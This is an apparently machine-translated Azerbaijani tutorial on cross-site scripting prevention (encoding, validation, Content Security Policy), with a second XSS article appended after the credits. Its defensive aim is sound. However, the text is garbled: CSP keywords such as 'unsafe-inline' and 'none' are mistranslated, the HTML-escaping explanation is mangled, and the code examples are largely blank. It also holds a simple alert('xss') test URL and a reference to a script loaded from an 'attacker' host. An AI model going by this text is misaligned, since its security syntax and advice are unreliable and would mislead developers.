    DOM-da XSS hücumunun xüsusi halı var ki, burada zərərli sətir heç vaxt vebsayt serverinə göndərilmir: bu, zərərli sətir URL identifikator fraqmentində (# simvolundan sonra hər hansı bir şey) olduğu zaman baş verir. Brauzerlər URL-in bu hissəsini serverə göndərmir, ona görə də vebsayt server tərəfindəki koddan istifadə edərək ona daxil ola bilmir. Müştəri tərəfi kodunun isə ona girişi var və beləliklə, təhlükəsiz olmayan emal vasitəsilə XSS hücumu həyata keçirmək mümkündür.

    Bu hal fraqment ID ilə məhdudlaşmır. LocalStorage və IndexedDB kimi yeni HTML5 xüsusiyyətləri kimi serverə görünməyən başqa istifadəçi girişi də var.

    Üçüncü hissə:
    XSS qarşısının alınması XSS ​​qarşısının alınması üsulları

    Xatırladaq ki, XSS kod inyeksiya hücumudur: istifadəçi daxiletməsi səhvən zərərli kod kimi şərh olunur. Bu cür kod inyeksiyasının qarşısını almaq üçün təhlükəsiz giriş idarəsi tələb olunur. Veb tərtibatçısı üçün təhlükəsiz giriş emalını yerinə yetirməyin iki əsas fərqli yolu var:

    • Kodlaşdırma istifadəçiyə məlumatları yalnız məlumat kimi daxil etməyə imkan verən və brauzerin onu kod kimi işləməsinə icazə verməyən bir üsuldur.
    • Validasiya istifadəçi daxiletməsini filtrləmə üsuludur ki, brauzer onu zərərli əmrlər olmadan kod kimi şərh etsin.

    Bunlar kökündən fərqli XSS təsirini azaltma üsulları olsa da, onlardan hər hansı birini istifadə edərkən başa düşmək üçün vacib olan bir neçə ümumi xüsusiyyətləri paylaşırlar:

    Kontekst Təhlükəsiz daxiletmənin idarə edilməsi istifadəçi daxiletməsinin səhifənin harada istifadə olunduğundan asılı olaraq fərqli şəkildə həyata keçirilməlidir. daxil olan/çıxan Təhlükəsiz daxilolma emalı ya saytınız giriş (daxil olan trafik) qəbul etdikdə, ya da saytın səhifə məzmununa istifadəçi daxiletməsini daxil etməzdən əvvəl (gidən) həyata keçirilə bilər. Müştəri/Server Təhlükəsiz giriş emalı ya müştəri tərəfində, ya da server tərəfində həyata keçirilə bilər, hər bir seçim müxtəlif şəraitlərdə tələb olunur.

    Kodlaşdırma və doğrulamanın necə işlədiyini ətraflı izah etməzdən əvvəl bu məqamların hər birini təsvir edəcəyik.

    Kontekstlərdə istifadəçi daxiletməsinin idarə edilməsi

    Veb səhifədə istifadəçi daxiletməsinin tətbiq oluna biləcəyi bir çox kontekst var. Onların hər biri üçün istifadəçi daxiletməsinin kontekstindən qaça bilməməsi və zərərli kod kimi şərh edilməməsi üçün xüsusi qaydalara əməl edilməlidir. Aşağıdakılar ən çox yayılmış kontekstlərdir:

    Niyə kontekstlər vacibdir?

    Təsvir edilən bütün kontekstlərdə, ilk kodlaşdırma və ya doğrulamadan əvvəl istifadəçi daxiletməsi daxil edilərsə, XSS zəifliyi yarana bilər. Təcavüzkar zərərli kodun ardınca bu kontekst üçün bağlanma ayırıcısını daxil etməklə sadəcə olaraq zərərli kodu yeridə bilər.

    Məsələn, əgər hansısa bir anda vebsayt istifadəçi daxiletməsini birbaşa HTML atributuna daxil edərsə, təcavüzkar aşağıda göstərildiyi kimi daxiletməni sitatla başladaraq zərərli skripti yeridə bilər:

    Bunun qarşısını sadəcə olaraq istifadəçi girişindəki bütün sitatları silməklə almaq olar və hər şey yaxşı olardı, ancaq bu kontekstdə. Daxiletmə başqa kontekstdə daxil edilibsə, bağlama ayırıcı fərqli olacaq və inyeksiya mümkün olacaq. Bu səbəbdən, təhlükəsiz giriş idarəsi həmişə istifadəçi girişinin daxil ediləcəyi kontekstə uyğunlaşdırılmalıdır.

    Daxil olan/gidən istifadəçi girişinin idarə edilməsi

    İnstinktiv olaraq belə görünür ki, saytımız onu qəbul edən kimi bütün istifadəçi girişini kodlaşdırmaq və ya təsdiqləməklə XSS-in qarşısını almaq olar. Bu yolla, hər hansı zərərli sətirlər səhifəyə daxil edildikdə artıq zərərsizləşdiriləcək və HTML nəsil skriptləri istifadəçi daxiletməsini təhlükəsiz idarə etməkdən narahat olmayacaq.

    Problem ondadır ki, əvvəllər təsvir edildiyi kimi, istifadəçi girişi bir səhifədə bir neçə kontekstə daxil edilə bilər. İstifadəçi daxiletməsinin kontekstə nə vaxt daxil olduğunu müəyyən etməyin asan yolu yoxdur - onun sonda necə daxil ediləcəyini və eyni istifadəçi daxiletməsini çox vaxt müxtəlif kontekstlərə daxil etmək lazımdır. XSS-nin qarşısını almaq üçün daxil olan daxilolmaların işlənməsinə arxalanaraq, biz səhvə meyilli olan çox kövrək bir həll yaradırıq. (Mirsi PHP "sehrli sitatlar" belə bir həll nümunəsidir.)

    Bunun əvəzinə, gedən giriş emalı XSS-ə qarşı əsas müdafiə xəttiniz olmalıdır, çünki o, hansı istifadəçi daxiletməsinin daxil ediləcəyinin xüsusi kontekstini nəzərə ala bilər. Müəyyən dərəcədə, daxil olan doğrulama ikinci dərəcəli təhlükəsizlik qatını əlavə etmək üçün istifadə edilə bilər, lakin bu barədə daha sonra.

    İstifadəçi daxiletməsini təhlükəsiz idarə etmək harada mümkündür?

    Müasir veb proqramların əksəriyyətində istifadəçi daxiletməsi həm server, həm də müştəri tərəfində işlənir. Bütün növ XSS-lərdən qorunmaq üçün təhlükəsiz giriş idarəsi həm server, həm də müştəri tərəfi kodunda həyata keçirilməlidir.

    • Ənənəvi XSS-dən qorunmaq üçün təhlükəsiz giriş idarəsi server tərəfi kodda aparılmalıdır. Bu, server tərəfindən dəstəklənən bəzi dillərdən istifadə etməklə edilir.
    • DOM-da XSS hücumundan qorunmaq üçün, server heç vaxt zərərli sətir qəbul etmir (məsələn, əvvəllər təsvir edilmiş identifikator fraqmentinə hücum), təhlükəsiz daxiletmə klient kodunda həyata keçirilməlidir. Bu JavaScript istifadə edərək edilir.

    İndi biz kontekstin nə üçün vacib olduğunu, daxil olan və gedən daxiletmənin işlənməsi arasındakı fərqin nə üçün vacib olduğunu və nə üçün hər iki tərəfdən, müştəri və server tərəfində təhlükəsiz daxiletmənin həyata keçirilməli olduğunu izah etdikdən sonra, ikisinin necə olduğunu izah etməyə davam edə bilərik təhlükəsiz giriş emalı növləri (kodlaşdırma və doğrulama) faktiki olaraq həyata keçirilir.

    Kodlaşdırma

    Kodlaşdırma, brauzerin istifadəçi girişini kod deyil, yalnız məlumat kimi şərh etməsi lazım olduğu vəziyyətdən çıxış yoludur. Veb inkişafında ən populyar kodlaşdırma növü kimi simvolları çevirən HTML maskasıdır< и >V< и >müvafiq olaraq.

    Aşağıdakı psevdokod istifadəçi daxiletməsinin (istifadəçi girişinin) HTML maskalanması ilə necə kodlaşdırıla biləcəyinə və sonra server tərəfi skriptdən istifadə edərək səhifəyə daxil edilməsinə nümunədir:

    çap ""
    çap "Son şərh:"
    çap encodeHtml(userInput)
    çap ""

    İstifadəçi aşağıdakı sətirə daxil olarsa..., nəticədə HTML belə görünəcək:


    Son şərh:
    ...

    Xüsusi məna daşıyan bütün simvollar qaçırıldığı üçün brauzer HTML kimi istifadəçi daxiletməsinin heç bir hissəsini təhlil etməyəcək.

    Kodlaşdırma müştəri və server tərəfi kodu

    Müştəri tərəfində kodlaşdırma həyata keçirərkən, həmişə müxtəlif kontekstlər üçün məlumatları kodlayan daxili funksiyaları olan JavaScript istifadə olunur.

    Server tərəfindəki kodunuzda kodlaşdırmanı edərkən, siz dilinizdə və ya çərçivənizdə mövcud olan xüsusiyyətlərə etibar edirsiniz. Mövcud dillərin və çərçivələrin çoxluğuna görə, bu dərslik hər hansı bir xüsusi server dilində və ya çərçivədə kodlaşdırma təfərrüatlarını əhatə etməyəcək. Bununla belə, server tərəfində kod yazarkən müştəri tərəfində istifadə olunan JavaScript kodlaşdırma funksiyalarından da istifadə olunur.

    Müştəri tərəfinin kodlaşdırılması

    JavaScript istifadə edərək müştəri tərəfindən istifadəçi girişini kodlaşdırarkən, bütün məlumatları kontekstə həssas üslubda avtomatik kodlayan bir neçə daxili metod və xüsusiyyətlər mövcuddur:

    Yuxarıda qeyd olunan sonuncu kontekst (JavaScript-dəki dəyərlər) bu siyahıya daxil edilməyib, çünki JavaScript JavaScript mənbə koduna daxil ediləcək verilənlərin kodlaşdırılmasının daxili üsulunu təmin etmir.

    Kodlaşdırma Məhdudiyyətləri

    Hətta kodlaşdırma zamanı bəzi kontekstlərdə zərərli sətirlərdən istifadə etmək mümkündür. Bunun əsas nümunəsi aşağıdakı nümunədəki kimi istifadəçi daxiletməsinin URL təmin etmək üçün istifadə edilməsidir:

    document.querySelector("a").href = userInput

    Elementin href xassəsində dəyərin təyin edilməsi onu avtomatik olaraq kodlaşdırsa da, o, atribut dəyərindən başqa bir şeyə çevrilməyəcək, bu, özlüyündə təcavüzkarın "javascript:" ilə başlayan URL daxil etməsinə mane olmur. Konstruksiyasından asılı olmayaraq linkə kliklədikdə, URL daxilində quraşdırılmış JavaScript yerinə yetiriləcək.

    İstifadəçilərin səhifədəki bəzi HTML kodundan istifadə edə bilməsini istədiyiniz zaman kodlaşdırma da effektiv həll yolu deyil. Məsələn, istifadəçinin xüsusi HTML istifadə edə biləcəyi istifadəçi profili səhifəsi ola bilər. Bu sadə HTML kodlaşdırılıbsa, profil səhifəsi yalnız düz mətndən ibarət ola biləcək.

    Belə vəziyyətlərdə kodlaşdırma sonradan baxacağımız yoxlama ilə tamamlanmalıdır.

    Doğrulama

    Təsdiqləmə istifadəçi daxiletmələrinin süzgəcdən keçirilməsi aktıdır ki, onun bütün zərərli hissələri oradan bütün kodu silmədən silinsin. Veb tərtibatında ən çox istifadə edilən doğrulama növlərindən biri bəzi HTML elementlərindən (məsələn, və ) istifadə edərkən digərlərini (məsələn, ) deaktiv etməyə imkan verir.

    Tətbiqlərində fərqlənən iki əsas xarakterik yoxlama var:

    Təsnifat Strategiyası İstifadəçi daxiletmələri qara siyahılar və ya ağ siyahılar vasitəsilə təsnif edilə bilər. Doğrulama Nəticəsi Zərərli kimi müəyyən edilən istifadəçi daxiletməsi rədd edilə və ya təmizlənə bilər.

    Təsnifat strategiyası Qara siyahı

    İnstinktiv olaraq, istifadəçi girişində görünməməli olan qadağan edilmiş nümunəni təyin edərək yoxlamanı yerinə yetirmək məqsədəuyğun görünür. Xətt bu nümunəyə uyğun gəlirsə, o, etibarsız kimi qeyd olunur. Məsələn, istifadəçilərə javascript istisna olmaqla istənilən protokolla fərdi URL-lər təqdim etməyə icazə verin: . Bu təsnifat strategiyası adlanır qara siyahı.

    Bununla belə, qara siyahının iki əsas çatışmazlığı var:

    Bütün mümkün zərərli sətirlərin dəstini dəqiq təsvir etmək çətinliyi adətən çox çətin məsələdir. Yuxarıda təsvir edilən nümunə siyasətini sadəcə olaraq "javascript" alt sətirini axtarmaqla uğurla həyata keçirmək mümkün deyil, çünki o, "Javascript:" (ilk hərfin böyük hərf olduğu) və "javascript:" (ilk hərfin rəqəmsal olaraq kodlandığı yer) kimi sətirləri əldən verər. xarakterə istinad). Kəsilmə Mükəmməl bir qara siyahı hazırlansa belə, brauzerə əlavə edilmiş yeni funksiya hücum üçün istifadə oluna bilərsə, faydasız olardı. Məsələn, əgər onmousewheel atributu HTML5-də təqdim edilməmişdən əvvəl HTML təsdiqləmə qara siyahısı hazırlanmışdısa, o, XSS hücumu həyata keçirmək üçün təcavüzkarın bu atributdan istifadəsini dayandıra bilməz. Bu çatışmazlıq, daim yenilənən bir çox fərqli texnologiyalardan ibarət veb inkişafında xüsusilə vacibdir.

    Bu çatışmazlıqlara görə təsnifat strategiyası kimi qara siyahıya düşmək qəti şəkildə tövsiyə edilmir. Ağ siyahıya salınma, ümumiyyətlə, daha təhlükəsiz bir yanaşmadır, biz bunu sonra təsvir edəcəyik.

    Ağ siyahı

    Ağ siyahı mahiyyət etibarilə qara siyahının əksidir: qadağan edilmiş nümunəni müəyyən etmək əvəzinə, ağ siyahı yanaşması icazə verilən nümunəni müəyyən edir və girişi etibarsız kimi qeyd edir. uyğun gəlmir bu şablon.

    Qara siyahılardan fərqli olaraq, ağ siyahılara misal olaraq istifadəçilərə yalnız http: və https: protokollarını ehtiva edən fərdi URL-ləri təqdim etmək icazəsi verilə bilər. Bu yanaşma "Javascript:" və ya "javascript:" kimi təqdim olunsa belə, URL-nin tərkibində javascript: protokolu varsa, avtomatik olaraq etibarsız kimi qeyd olunmasına imkan verəcək.

    Qara siyahı ilə müqayisədə ağ siyahıların iki əsas üstünlüyü var:

    Sadəlik Yaxşı xasiyyətli sətirlər dəstini dəqiq təsvir etmək, adətən, bütün zərərli sətirlərin dəstini müəyyən etməkdən daha asandır. Bu, xüsusilə istifadəçi daxiletməsinin brauzerdə mövcud olan çox məhdud funksionallıq dəstini ehtiva etməli olduğu ümumi vəziyyətlərdə tətbiq edilir. Məsələn, yuxarıda təsvir edilən ağ siyahı sadəcə olaraq URL-lərin yalnız HTTP: və ya https: icazə protokolları ilə istifadə edilməsinə imkan verir və əksər hallarda bu, istifadəçilər üçün kifayətdir. Davamlılıq Qara siyahıdan fərqli olaraq, brauzerə yeni funksiya əlavə edildikdə ağ siyahı adətən köhnəlmir. Məsələn, HTML ağ siyahının doğrulanması, HTML5 onmousewheel atributunun tətbiqindən əvvəl (ağ siyahı) tərtib edilmiş olsa belə, yalnız HTML elementlərinin başlıq atributlarının təhlükəsiz qalmasına imkan verir.

    Doğrulama nəticəsi

    İstifadəçi daxiletməsi etibarsız (qadağan) kimi qeyd edildikdə, iki hərəkətdən biri həyata keçirilə bilər:

    Daxiletmənin rədd edilməsi sadəcə olaraq rədd edilir və onun saytda başqa yerdə istifadəsinə mane olur. Daxil edilmiş məlumatların bütün etibarsız hissələrinin təmizlənməsi silinir və qalan giriş həmişəki kimi veb saytında istifadə olunur.

    İkisindən əyilmə həyata keçirmək üçün ən sadə yanaşmadır. Lakin dezinfeksiya daha faydalı hesab edilir, çünki o, istifadəçi üçün daha geniş giriş təmin edir. Məsələn, istifadəçi kredit kartı nömrəsini təqdim edərsə, sanitarizasiya bütün simvol olmayan simvolları siləcək və kodun yeridilməsinin qarşısını alacaq, həmçinin istifadəçiyə tire ilə və ya tiresiz nömrə daxil etməyə imkan verəcək.

    Dezinfeksiyanı həyata keçirmək qərarına gəlsəniz, dezinfeksiya prosedurunun özünün qara siyahı yanaşmasından istifadə etməməsini təmin etməlisiniz. Məsələn, "Javascript:..." URL-i ağ siyahıdan istifadə etməklə etibarsız kimi müəyyən edilsə belə, sadəcə olaraq "javascript:" in bütün nümunələrini silən sanitarlaşdırma yan keçməsi prosedurunu alacaq. Bu səbəbdən yaxşı sınaqdan keçmiş kitabxanalar və çərçivələr mümkün olduqda sanitarizasiyadan istifadə etməlidirlər.

    Qarşısının alınması üçün hansı üsullardan istifadə edilməlidir?

    Kodlaşdırma XSS hücumlarına qarşı ilk müdafiə xəttiniz olmalıdır, onun məqsədi məlumatları brauzerin istifadəçi daxiletməsini kod kimi şərh edə bilməyəcəyi şəkildə emal etməkdir. Bəzi hallarda kodlaşdırma doğrulama ilə tamamlanmalıdır. Kodlaşdırma və doğrulama gedən trafikə tətbiq edilməlidir, çünki yalnız bundan sonra istifadəçi daxiletməsinin hansı kontekstdə tətbiq ediləcəyini və hansı kodlaşdırma və doğrulamanın tətbiq edilməsi lazım olduğunu bilə bilərsiniz.

    İkinci müdafiə xətti olaraq, javascript: protokolundan istifadə edərək, daxil olan məlumatların təmizlənməsini və ya keçidlər kimi açıq-aydın etibarsız istifadəçi daxiletməsinin rədd edilməsini tətbiq etməlisiniz. Bu, özlüyündə tam təhlükəsizliyi təmin edə bilməz, lakin kodlaşdırma və doğrulama mühafizəsindəki hər hansı bir nöqtə səhv icraya görə uğursuz olarsa, bu, faydalı ehtiyat tədbiridir.

    Bu iki müdafiə xətti ardıcıl olaraq istifadə olunarsa, saytınız XSS hücumlarından qorunacaq. Bununla belə, veb-saytın yaradılması və saxlanmasının mürəkkəbliyinə görə, yalnız təhlükəsiz istifadəçi girişinin emalından istifadə edərək tam təhlükəsizliyin təmin edilməsi çətin ola bilər. Üçüncü müdafiə xətti olaraq, Məzmun Təhlükəsizliyi Siyasətlərindən istifadə etməlisiniz ( İngilis dili Məzmun Təhlükəsizliyi Siyasəti), sonra aşağıda təsvir edəcəyimiz CSP.

    Məzmun Təhlükəsizliyi Siyasətləri (CSP)

    XSS hücumlarından qorunmaq üçün yalnız təhlükəsiz istifadəçi daxiletməsindən istifadə etmək kifayət deyil, çünki hətta bir təhlükəsizlik səhvi veb saytınızı təhlükəyə ata bilər. Yeni veb standartından Məzmun Təhlükəsizliyi Siyasətlərinin (CSPs) qəbul edilməsi bu riski azalda bilər.

    CSP-lər brauzerin veb-səhifədən istifadəsini məhdudlaşdırmaq üçün istifadə olunur ki, o, yalnız etibarlı mənbələrdən yüklənmiş resurslardan istifadə edə bilsin. A resurslar skriptlər, üslub cədvəlləri, şəkillər və ya səhifədə istinad edilən hər hansı digər fayl növüdür. Bu o deməkdir ki, təcavüzkar saytınıza zərərli məzmun yeritməyi bacarsa belə, CSP onun həyata keçirilməsinin qarşısını ala biləcək.

    CSP aşağıdakı qaydaları tətbiq etmək üçün istifadə edilə bilər:

    Etibarsız mənbələrə qadağa qoyulması Xarici resurslar yalnız dəqiq müəyyən edilmiş etibarlı mənbələrdən endirilə bilər. Daxili resurslara icazə verməməklə, daxili JavaScript və CSS nəzərə alınmayacaq. Qiymətləndirmənin söndürülməsi JavaScript-də qiymətləndirmə funksiyasının istifadəsini qadağan edir.

    CSP fəaliyyətdədir

    Aşağıdakı nümunədə təcavüzkar veb səhifəyə zərərli kodu yeritməyi bacardı:


    Son şərh:

    Düzgün müəyyən edilmiş CSP siyasəti ilə brauzer malicious-script.js faylını endirə və icra edə bilməz, çünki http://attacker/ etibarlı mənbə kimi göstərilməyib. Sayt bu halda istifadəçi daxiletməsini etibarlı şəkildə emal edə bilməsə də, CSP-nin siyasəti zəifliyin hər hansı zərər vurmasının qarşısını aldı.

    Təcavüzkar xarici fayla keçid deyil, skript kodunun içərisinə kodu yeritsə belə, düzgün konfiqurasiya edilmiş CSP siyasəti JavaScript koduna inyeksiyanın qarşısını alacaq, zəifliyin qarşısını alacaq və hər hansı zərərə səbəb olacaq.

    CSP-ni necə aktivləşdirmək olar?

    Varsayılan olaraq, brauzerlər CSP-dən istifadə etmirlər. Veb saytınızda CQBK-nı aktivləşdirmək üçün səhifələrdə əlavə HTTP başlığı olmalıdır: Məzmun-Təhlükəsizlik-Siyasəti. Brauzerin CSP-ni dəstəkləməsi şərti ilə bu başlığı ehtiva edən istənilən səhifə brauzer tərəfindən yükləndikdə təhlükəsizlik siyasətlərini tətbiq edəcək.

    Təhlükəsizlik siyasəti hər HTTP cavabı ilə göndərildiyi üçün serverin siyasəti hər səhifə üçün fərdi olaraq təyin etməsi mümkündür. Hər cavabda eyni CSP başlığını daxil etməklə eyni siyasət bütün vebsayta tətbiq oluna bilər.

    Məzmun-Təhlükəsizlik-Siyasət başlığındaki dəyər saytınızda işləyəcək bir və ya bir neçə təhlükəsizlik siyasətini müəyyən edən sətirdən ibarətdir. Bu xəttin sintaksisi aşağıda təsvir olunacaq.

    Bu bölmədəki başlıq nümunələri istinad asanlığı üçün sətir kəsimlərindən və girintilərdən istifadə edir; onlar faktiki başlıqda görünməməlidir.

    CSP sintaksisi

    CSP başlıq sintaksisi aşağıdakı kimidir:

    Məzmun-Təhlükəsizlik-Siyasəti:
    direktiv mənbə-ifadə, mənbə-ifadə, ...;
    direktiv ...;
    ...

    Bu sintaksis iki elementdən ibarətdir:

    • Direktivlər verilmiş siyahıdan götürülmüş resursun növünü göstərən sətirlərdir.
    • Mənbə ifadələri resursların yüklənə biləcəyi bir və ya bir neçə serveri təsvir edən modeldir.

    Hər bir direktiv üçün mənbə ifadəsindəki məlumatlar müvafiq tipli resursları yükləmək üçün hansı mənbələrdən istifadə oluna biləcəyini müəyyən edir.

    Direktivlər

    CSP başlığında aşağıdakı direktivlərdən istifadə edilə bilər:

    • əlaqə-src
    • font-src
    • çərçivə-src
    • img-src
    • media-src
    • obyekt-src
    • script-src
    • style-src

    Bundan əlavə, xüsusi default-src direktivi başlığa daxil edilməyən bütün direktivlər üçün standart dəyər təmin etmək üçün istifadə edilə bilər.

    Mənbə ifadəsi

    Mənbə ifadəsi yaratmaq üçün sintaksis aşağıdakı kimidir:

    protokol: // host adı: port nömrəsi

    Host adı * ilə başlaya bilər, yəni təqdim olunan host adının istənilən alt domeni həll olunacaq. Eynilə, port nömrəsi * kimi göstərilə bilər, yəni bütün portlara icazə veriləcəkdir. Bundan əlavə, protokol və port nömrəsi buraxıla bilər. Heç bir protokol göstərilməyibsə, siyasət HTTPS istifadə edərək bütün resursların yüklənməsini tələb edəcək.

    Yuxarıdakı sintaksisə əlavə olaraq, mənbə ifadəsi alternativ olaraq xüsusi məna daşıyan dörd açar sözdən biri ola bilər (sitatlar daxildir):

    "heç biri" resursları söndürür. "self" veb səhifənin yerləşdiyi hostdan resurslara icazə verir. "təhlükəsiz-inline" səhifədə olan resursları daxili elementlər, elementlər və javascript kimi həll edir: URL-lər. "unsafe-eval" JavaScript funksiyasını aktivləşdirir eval .

    Nəzərə alın ki, CSP istifadə edildikdə, daxili resurslar və qiymətləndirmə avtomatik olaraq defolt olaraq söndürülür. "təhlükəsiz-inline" və "təhlükəsiz-qiymətləndirici" ifadələrindən istifadə onlardan istifadə etməyin yeganə yoludur.

    Siyasət nümunəsi

    Məzmun-Təhlükəsizlik-Siyasəti:
    script‑src "öz" scripts.example.com;
    media‑src "yox";
    img‑src *;
    default‑src "self" http://*.example.com

    Bu nümunə siyasətlə veb səhifədə aşağıdakı məhdudiyyətlər olacaq:

    • Skriptləri yalnız veb-səhifənin yerləşdiyi hostdan və bu ünvandan yükləmək olar: scripts.example.com.
    • Audio və video faylları yükləmək qadağandır.
    • Şəkil faylları istənilən ünvandan endirilə bilər.
    • Bütün digər resurslar yalnız veb-səhifənin yerləşdiyi hostdan və example.com-un istənilən alt domenindən yüklənə bilər.
    CSP statusu

    2013-cü ilin iyun ayından etibarən Məzmun Təhlükəsizliyi Siyasətləri W3C konsorsiumu tərəfindən tövsiyə olunur. CSP brauzer tərtibatçıları tərəfindən həyata keçirilir, lakin onun bəzi hissələri müxtəlif brauzerlərə xasdır. Məsələn, HTTP başlığının istifadəsi brauzerlər arasında fərqli ola bilər. CSP-dən istifadə etməzdən əvvəl dəstəkləməyi planlaşdırdığınız brauzerlərin sənədləri ilə məsləhətləşin.

    Xülasə Xülasə: XSS İcmal
    • XSS hücumu, istifadəçi daxiletməsinin etibarlı olmayan işlənməsi nəticəsində mümkün olan kod inyeksiya hücumudur.
    • Uğurlu XSS hücumu təcavüzkara qurbanın brauzerində zərərli JavaScript-i icra etməyə imkan verir.
    • Uğurlu XSS hücumu həm veb-saytın, həm də onun istifadəçilərinin təhlükəsizliyini pozur.
    Xülasə: XSS hücumları
    • XSS hücumlarının üç əsas növü var:
      • Zərərli girişin veb saytın verilənlər bazasından qaynaqlandığı XSS ​​saxlanılır.
      • Zərərli girişin qurbanın sorğusundan qaynaqlandığı əks olunan XSS.
      • XSS hücumları DOM-da, burada zəiflik server tərəfində deyil, müştəri tərəfində kodda istifadə olunur.
    • Bu hücumların hamısı fərqli şəkildə həyata keçirilir, lakin uğurlu olarsa eyni təsirə malikdir.
    Xülasə: XSS-nin qarşısının alınması
    • XSS hücumlarının qarşısını almağın ən vacib yolu təhlükəsiz giriş emalını həyata keçirməkdir.
      • Səhifədə istifadəçi girişi aktiv olduqda kodlaşdırma edilməlidir.
      • Bəzi hallarda kodlaşdırma dəyişdirilməli və ya təsdiqləmə ilə tamamlanmalıdır.
      • Təhlükəsiz girişin idarə edilməsi istifadəçi daxiletməsinin hansı səhifə kontekstinə daxil edildiyini nəzərə almalıdır.
      • XSS hücumlarının bütün növlərinin qarşısını almaq üçün həm müştəri, həm də server tərəfi kodunda təhlükəsiz giriş emalı həyata keçirilməlidir.
    • Məzmun Təhlükəsizliyi Siyasətləri (CSP) təhlükəsiz giriş emalında xəta olması halında əlavə qorunma səviyyəsini təmin edir.
    Əlavə Terminologiya

    Qeyd etmək lazımdır ki, XSS-i təsvir etmək üçün istifadə olunan terminologiyada krossover var: DOM-da XSS hücumu ya saxlanıla, ya da əks oluna bilər; Bunlar ayrı-ayrı hücum növləri deyil. Qarışıqlıq olmadan bütün XSS növlərini əhatə edən ümumi qəbul edilmiş terminologiya yoxdur. XSS-i təsvir etmək üçün istifadə olunan terminologiyadan asılı olmayaraq, ən başlıcası hücumun növünü müəyyən etməkdir, bu, zərərli girişin haradan gəldiyini və zəifliyin harada yerləşdiyini bilsəniz mümkündür.

    İstifadə hüquqları və bağlantılar

    Üçün mənbə kodu Həddindən artıq XSS GitHub-da mövcuddur.

    Həddindən artıq XSS 2013-cü ildə Chalmers Texnologiya Universitetində Dilə əsaslanan təhlükəsizlik kursunun bir hissəsi kimi yaradılmışdır.

    Rus dilinə tərcümə A888R tərəfindən həyata keçirilib, orijinal mətn ingilis dilində: extra-xss.com, şərhlər, təkliflər və tərcümədəki səhvlər buraya göndərilməlidir.

    Saytlararası skript (qısaca XSS) bir çox veb proqramlara təsir edən geniş yayılmış zəiflikdir. Bu, təcavüzkarın veb-sayta zərərli kodu daxil etməyə imkan verir ki, sayta daxil olan istifadəçinin brauzeri kodu icra etsin.

    Tipik olaraq, belə zəiflikdən istifadə etmək istifadəçi ilə müəyyən qarşılıqlı əlaqə tələb edir: ya onlar sosial mühəndislikdən istifadə edərək yoluxmuş sayta cəlb olunurlar, ya da sadəcə istifadəçinin sayta daxil olmasını gözləyirlər. Buna görə də tərtibatçılar çox vaxt XSS zəifliklərini ciddi qəbul etmirlər.

    Lakin diqqət yetirilməsə, onlar ciddi təhlükəsizlik riski yarada bilərlər.

    Təsəvvür edək ki, biz WordPress admin panelindəyik, yeni məzmun əlavə edirik. Bunun üçün XSS həssas plaqindən istifadə etsək, o, brauzeri yeni administrator yaratmağa, məzmunu dəyişdirməyə və digər zərərli hərəkətlər etməyə məcbur edə bilər. Saytlararası skript hücumçuya bu günlərin ən vacib proqram təminatına - brauzerə demək olar ki, tam nəzarət edir.

    XSS: Enjeksiyon Zəifliyi

    Hər hansı bir veb sayt və ya proqramda məlumatların daxil edilməsi üçün bir neçə yer var - URL-in özünə qədər forma sahələri. Məlumat daxil etməyin ən sadə nümunəsi formada istifadəçi adı və parol daxil etdiyimiz zamandır:

    Adımız bizimlə sonrakı qarşılıqlı əlaqə üçün saytın məlumat bazasında saxlanılacaq. Şübhəsiz ki, hər hansı bir veb saytına daxil olanda "Xoş gəldin, İlya" üslubunda şəxsi təbrik gördünüz.

    Məhz bu məqsədlər üçün istifadəçi adları verilənlər bazasında saxlanılır.

    İnyeksiya, istifadəçi adı və ya parol əvəzinə xüsusi simvol ardıcıllığının daxil edildiyi, serveri və ya brauzeri təcavüzkarın istədiyi müəyyən şəkildə cavab verməyə məcbur edən bir prosedurdur.

    Saytlararası skript veb sayt adından brauzerdə hərəkətləri yerinə yetirəcək kodu daxil edən bir inyeksiyadır. Bu, ya istifadəçiyə bildirişlə, ya da onun xəbəri olmadan arxa planda baş verə bilər.

    Ənənəvi XSS hücumları: əks olunur (davamlı deyil).

    Bir istifadəçi xüsusi hazırlanmış linki kliklədikdə əks olunan XSS hücumu tetiklenir.

    Bu zəifliklər veb-klient tərəfindən təmin edilən məlumatların, əksər hallarda HTTP sorğu parametrlərində və ya HTML formasında, düzgün emal edilmədən həmin müştəri üçün nəticələr səhifəsini təhlil etmək və göstərmək üçün birbaşa server tərəfi skriptlər tərəfindən icra edildikdə baş verir.

    Saxlanılır (davamlıdır).

    Saxlanan XSS, təcavüzkar orijinal səhifəyə hər dəfə daxil olanda brauzerdə icra edilən serverə zərərli kodu yeritməyi bacardıqda mümkündür. Bu zəifliyin klassik nümunəsi HTML şərhlərinə icazə verən forumlardır.

    Müştəri kodu (JavaScript, Visual Basic, Flash və s.) tərəfindən yaranan boşluqlar: DOM-lar kimi də tanınır: Reflected (qeyri-davamlı).

    Server tərəfində olduğu kimi, yalnız bu halda hücum kodun brauzer tərəfindən işlənməsi səbəbindən mümkündür.

    Saxlanılır (davamlıdır).

    Server tərəfində saxlanılan XSS kimi, yalnız bu halda zərərli komponent brauzer yaddaşından istifadə edərək müştəri tərəfində saxlanılır.

    XSS zəifliklərinin nümunələri.

    Maraqlıdır ki, bu zəifliyin təsvir edildiyi əksər hallarda biz aşağıdakı koddan qorxuruq:

    Http://www.site.com/page.php?var=alert("xss");

    XSS boşluqlarının iki növü var - passiv və aktiv.

    Aktiv zəiflik daha təhlükəlidir, çünki təcavüzkarın qurbanı xüsusi bir keçiddən istifadə etməsinə ehtiyac yoxdur, o, sadəcə kodu verilənlər bazasına və ya serverdəki bəzi fayla daxil etməlidir; Beləliklə, bütün sayt ziyarətçiləri avtomatik olaraq qurbana çevrilirlər. O, məsələn, SQL inyeksiyasından istifadə etməklə inteqrasiya oluna bilər. Buna görə də, verilənlər bazasında saxlanılan məlumatlara, hətta daxiletmə zamanı işlənmiş olsa belə, etibar etməməlisiniz.

    Misal passiv zəiflik Bunu məqalənin əvvəlində görə bilərsiniz. Bunun üçün artıq sosial mühəndislik tələb olunur, məsələn, ehtiyat nüsxədən bərpa etdikdən sonra hesab parametrlərinizi yoxlamağı xahiş edən sayt administrasiyasından vacib məktub. Müvafiq olaraq, siz qurbanın ünvanını bilməlisiniz və ya sadəcə olaraq hansısa forumda spam göndərişi və ya yazı göndərməlisiniz və qurbanların sadəlövh olacağı və sizin linkinizi izləyəcəkləri fakt deyil.

